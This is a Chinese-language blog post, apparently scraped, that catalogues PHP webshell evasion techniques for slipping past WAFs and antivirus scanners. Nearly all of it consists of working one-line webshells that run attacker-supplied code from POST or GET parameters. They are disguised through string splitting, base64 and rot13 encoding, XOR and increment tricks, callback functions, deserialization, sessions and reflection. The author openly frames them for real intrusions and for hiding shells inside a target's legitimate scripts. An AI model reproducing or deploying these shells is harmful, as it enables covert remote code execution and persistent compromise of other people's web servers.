前言:
本文幾乎涵蓋了市面上全部已知的webshell免殺手段,本身也很清楚,有些東西一旦公佈出去,基本就活不過久了,但好在技巧是死的,人是活的,基於前人的優秀經驗基礎上所衍生出來的更加刁鑽詭異的思路纔是最珍貴的,始終堅信,對抗是持續的,shell也是永遠殺不完的…
0x01 首先就是基於各種最常規的命令和代碼執行函數的花樣變形如,拆分重組,動態執行,以此來躲避靜態特徵檢測
,不過像有些高危函數默認就會被運維們禁掉,甚至高版本的php默認已經不讓執行系統命令[如,php7],萬一再開了安全模式,就更費勁了php
php中一些常見的執行類型函數:java
1
2
3
4
5
6
7
|
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引號執行系統命令
...
|
1
|
<?php $_POST[
'fun']($_REQUEST['req']);?>
|
1
|
<?php $req =
"a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
|
1
|
<?php $cmd =
`$_POST[ch]`;echo "<pre>$cmd</pre>";?>
|
1
|
<?php $arr = array(
"a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
|
1
2
3
4
5
6
|
<?php
$XKs1u=
'as';$Rqoaou='e';
$ygDOEJ=$XKs1u.
's'.$Rqoaou.'r'.'t';
$joEDdb =
'b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
|
0x02 利用各種編碼來消除靜態特徵,以此來擾亂waf識別流量,說實話這種仍是相對比較容易被檢測到git
利用base64編碼,這種編碼多是各種webshell中用的最頻繁的一種,如,weevely中默認就是用的base64,因此免殺性相對較好,另外還有諸如各種免殺大馬,過waf菜刀等等……github
1
|
<?php $a = @base64_decode($a=$_POST[
'fun']);$a($_POST['code']);?>
|
利用rot13編碼,也用的比較頻繁,關於各種編碼的內部工做細節,請仔細閱讀開發手冊web
1
|
<?php $a=str_rot13(
'nffreg');$a($_POST['req']);?>
|
1
|
<?php ($req = $_POST[
'req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>
|
利用url編碼以及自定義加解密實現的免殺,其實也有點兒相似編碼,由於是本身設置的加密,因此只有通訊的雙方知道,這樣一來waf就很難在未解密數據中識別出webshell特徵,不過人眼仍是很容易就看出來的shell
1
|
不實用
|
利用ASCII碼轉換,消除特徵,如chr…比較簡單,也比較原始,這裏就很少說了,實戰也不推薦用,肉眼掃一下就看出來了數組
1
|
不實用
|
利用 xor [^ 異或] ~[取反] 注入此類的位運算,實戰中依然不推薦,只要是個正常人基本都能看出來這是啥,實際中記得先把下面的url編碼解碼過來,務必注意兩個特殊字符要用雙引號包起來,hackbar上面框中的參數能夠不用,只要POST裏的參數傳對了就行安全
1
2
3
4
5
|
<?php
$_=(
'%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__=
'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$_
_;
$_($___[
_]); // assert($_POST[_]);
|
數組特性,這個就更不推薦了,看似花哨,但正常的項目代碼中是根本不可能出現這些東西的,很明顯,這無疑是在故意告訴別人,你來了,那,這就是個人webshell,請刪除,若是單單只是想免殺,回調和反序列也許會更好,相對比價隱蔽,徹底不用這麼招搖過市的搞bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
$_=[];
$_=@
"$_"; // $_='Array';
$_=$_[
'!'=='@']; // $_=$_[0];
$___=$_;
// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
// S
$___.=$__;
// S
$__=$_;
$__++;$__++;$__++;$__++;
// E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$___.=$__;
$____=
'_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$____.=$__;
$_=$$___
_;
$___($_[req]);
// ASSERT($_POST[_]);
|
0x03 利用一些特殊的web服務器及腳本自身配置來bypass waf服務器
1
2
3
|
利用短格式來實現免殺,前提須要目標的php配置已經事先開啓短格式支持[php.ini有對應的開關],不過通常默認都是沒開的,確實比較雞肋,不實用
short_open_tag = On
<?=
`$_GET[m]`;
|
0x04 利用各類腳本語言自身的語言特性靈活隱匿webshell,我的很是推薦的方式,擴展空間也很是的大,較適合用於實戰:
1
2
3
|
具備回調特性的函數其實還有很是多,這裏只是簡單地列出了一部分,可挖掘的潛力還比較大,你們可對着手冊自行深刻研究
利用回調的好處除了免殺以外,還有就是,能夠很方便咱們
`直接把本身的shell插到目標的正常腳本代碼中`,讓其變得更加難以追蹤
關於webshell隱藏的更多內容,這裏就不細說了,有興趣你們能夠直接去參考博客
`webshell隱藏`相關文章,記得好久以前就總結了一篇
|
1
|
<?php $a = create_function(
'', @$_REQUEST['req']);$a();?>
|
1
|
<?php $ah = $_POST[
'ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
|
1
|
<?php $fun = $_REQUEST[
'fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
|
1
|
<?php $arr = new ArrayObject(array(
'xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>
|
1
2
3
4
5
6
|
<?php
$fun = base64_decode($_REQUEST[
'fun']);
$arr = array(base64_decode($_POST[
'code']));
$arr2 = array(
1);
array_udiff($arr,$arr2,$fun);
|
1
|
<?php mb_ereg_replace(
'.*', $_REQUEST['req'], '', 'e');?>
|
1
|
<?php $fun = $_REQUEST[
'fun'];register_shutdown_function($fun,$_REQUEST['req']);?>
|
1
|
<?php echo preg_filter(
'|.*|e',$_REQUEST['req'],'')?>
|
利用序列化與反序列化免殺,簡單來說原理相似反序列化漏洞,由於成員變量可控,在析構的時形成的代碼執行:
1
2
3
4
5
6
7
8
9
10
|
<?php
class shell{
public $code=
"tmpdata";
function __destruct()
{
assert($this->code);
}
}
$ser = $_GET[
'serdata'];
unserialize($ser);
|
序列化後的數據
1
2
3
4
5
6
7
|
<?php
class shell{
public $code=
"phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;
|
編碼配合動態函數:
1
2
3
4
5
6
|
<?php
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array(
"a"=>$fun);
$a =
"${ $arr['a']($code)}";
|
利用包含特性,也是一種相對比較原始的waf bypass方式:
1
|
<?php
include './include_shell.txt'?>
|
利用session機制免殺:
1
2
3
4
|
<?php
session_start();$_SESSION[
'cmd'] = trim($_POST['code']);
echo preg_replace(
'\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
|
利用php反射特性免殺
1
|
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));?>
|
0x05 後話
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
上面的給出的這些
shell,正常來說,應該都不會活好久,可能有些早已經死了,不得不說的是,像各類編碼函數它自己就是敏感特徵
由於本身目前還在外地,完整環境也不在身邊,就沒有一一給你們進行實際的免殺測試了,不過這也並非目的
此次主要還想跟你們好好梳理一些能夠用來免殺的優良特性,你們能夠再單獨針對這些特性去作深刻研究,達到靈活變通才是最終目的
實戰中,假設某一個特性不行,不妨同時幾個特性配合着一塊兒來,每每會有不錯的效果
說實話,若是不針對這些帶有特殊特性的函數下手,只是簡單的見招拆招,基於此思路衍生出來的
shell,現階段的waf是很難作到主動識別的
固然,等量子或光子計算機及機器學習真正普及的時候,`識別`應該就不是問題了,因此,你們暫可沒必要擔憂這些
shell被殺,核心仍是靈活掌握這些最基本的免殺特性
沒事兒的話,仍是很是建議你們多去翻翻php的開發手冊,裏面還有不少沒被發覺出來的寶貝,也期待能和你們一塊兒多交流
若是真的是深入理會了,像什麼過waf菜刀天然就很容易理解了,其實如今看來仍是蠻簡單的
本身拿wireshark跑跑POST包就能看到的很清楚了,而後再針對殺的點逆向一下便可
其實,隨着php快速的升級迭代,有些特性可能並不能適用於全部php版本,這也再正常不過
之前的雖然是沒有了確定還會有更好的替代品,仍是那句話,思路比任何東西都要重要
可能你們也發現了,此次基本所有都是在說php,並無涉及到asp,jsp,aspx,java不過其中有些腳本特性都是相通的,你們舉一反三就行了
實際使用中建議不要用的過於花哨,沒錯,也許你確實是躲避了waf,但卻沒能逃過運維大叔們的法眼,因此,越不顯眼,代碼越正常,長度越短越好
固然啦,方法確定不止這麼點兒,也期待能和你們一塊兒多交流
始終堅信,授人以魚不如授人以漁,^_^ 未完,待續……
|